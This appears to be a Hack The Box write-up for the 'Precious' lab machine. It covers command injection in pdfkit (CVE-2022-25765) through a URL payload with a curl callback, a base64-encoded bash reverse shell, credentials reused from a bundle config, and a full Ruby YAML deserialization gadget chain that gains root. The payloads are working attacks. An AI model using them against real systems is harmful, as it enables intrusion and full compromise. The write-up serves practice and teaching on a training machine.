Precious Write Up HTB
Precious on Hack The Box is a easy difficulty Linux machine that focuses on abusing a misconfigured Ruby on Rails server and exploiting vulnerabilities in third-party dependencies to escalate privileges. Gaining initial access involves identifying and exploiting a known vulnerability in the Ruby on Rails framework to achieve remote code execution. Privilege escalation is accomplished by leveraging an insecure third-party dependency, allowing the user to gain root privileges.
This machine provides a great opportunity to learn about web application exploitation and dependency-related privilege escalation in a realistic scenario.
ENUMERATION
First, we start by running an nmap scan.
1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.189 -oG allPorts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.189 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-09 19:46 CET
Initiating SYN Stealth Scan at 19:46
Scanning 10.10.11.189 [65535 ports]
Discovered open port 22/tcp on 10.10.11.189
Discovered open port 80/tcp on 10.10.11.189
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 12.40% done; ETC: 19:47 (0:00:14 remaining)
Completed SYN Stealth Scan at 19:47, 12.04s elapsed (65535 total ports)
Nmap scan report for 10.10.11.189
Host is up, received user-set (0.042s latency).
Scanned at 2025-02-09 19:46:51 CET for 12s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
We see that ports 22 and 80 are open. Let’s investigate port 80. First, we add it to the /etc/hosts
file.
1
vim /etc/hosts
Afterward, we access the page and see the following.
Next, let’s test which library or tool is used to convert to PDF by submitting any URL and examining it with exiftool.
After submitting, we can download a PDF file and examine it using exiftool.
EXIFTOOL
Now, we analyze the downloaded file with exiftool in the directory where it was saved.
1
exiftool YOURPDF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
exiftool g5fiy4ua224yp03zto4iutv6hq2vn1mp.pdf
ExifTool Version Number : 13.10
File Name : g5fiy4ua224yp03zto4iutv6hq2vn1mp.pdf
Directory : .
File Size : 4.6 kB
File Modification Date/Time : 2025:02:09 20:09:59+01:00
File Access Date/Time : 2025:02:09 20:09:59+01:00
File Inode Change Date/Time : 2025:02:09 20:09:59+01:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
We observe that it was generated with pdfkit v0.8.6, which is vulnerable to CVE-2022-25765. This vulnerability allows us to modify the URL and inject a payload like the following.
1
http://example.com/%20`curl http://10.10.14.16/test`
1
2
3
4
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [09/Feb/2025 20:50:50] code 404, message File not found
10.10.11.189 - - [09/Feb/2025 20:50:50] "GET /test HTTP/1.1" 404 -
We see a response in our Python server, which confirms that the target is vulnerable. We can inject a reverse shell, either using Ruby or Bash.
FOOTHOLD
Next, we create a reverse shell and execute it on the page.
1
http://example.com/%20'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNi80NDQ0IDA+JjE= | base64 -d | bash'
We listen on the encoded port (4444 in this case) and execute the payload.
1
nc -lvnp 4444
1
2
3
4
5
6
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.189] 42860
bash: cannot set terminal process group (679): Inappropriate ioctl for device
bash: no job control in this shell
ruby@precious:/var/www/pdfapp$
If we investigate further, we will see a .bundle
directory in the Ruby user’s home directory.
1
2
3
4
5
6
7
8
9
10
11
ruby@precious:~$ ls -la
total 32
drwxr-xr-x 5 ruby ruby 4096 Feb 9 15:06 .
drwxr-xr-x 4 root root 4096 Oct 26 2022 ..
lrwxrwxrwx 1 root root 9 Oct 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 2022 .bundle
drwxr-xr-x 4 ruby ruby 4096 Feb 9 14:09 .cache
drwx------ 3 ruby ruby 4096 Feb 9 15:06 .gnupg
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
We access .bundle
and find the following file.
1
2
ruby@precious:~/.bundle$ ls
config
This file contains credentials for the user Henry.
1
2
3
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
1
2
3
4
ruby@precious:~/.bundle$ su henry
password:
henry@precious:~/.bundle cat /home/henry/user.txt
ce7995181ee948############
PRIVILEGE ESCALATION
The first thing we do after switching to the Henry user is check for sudo privileges.
1
sudo -l
1
2
3
4
5
6
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
We can run update_dependencies.rb
with Ruby. Let’s execute it to see what we can do.
1
2
3
4
5
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
2: from /opt/update_dependencies.rb:17:in `<main>'
1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)
Since it can’t find dependencies.yml
, we can craft a payload that executes commands as root. The information can be found here: Deserialization.
To escalate privileges, create a dependencies.yml
file in /tmp
with the following payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
henry@precious:/tmp$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
We test to see if it works.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
It works! The command id is executed, confirming that we have root access. Now, we can set up a reverse shell to a listening port.
1
nc -lvnp 4444
We edit the file, replacing git_set with a base64-encoded reverse shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
henry@precious:/tmp$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNi80NDQ0IDA+JjE=' | base64 -d | bash
method_id: :resolve
We execute sudo and observe the listening port.
1
2
3
4
5
6
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.189] 49152
root@precious:/tmp# cat /root/root.txt
cat /root/root.txt
566ebf1363f3################
Now, we have both flags!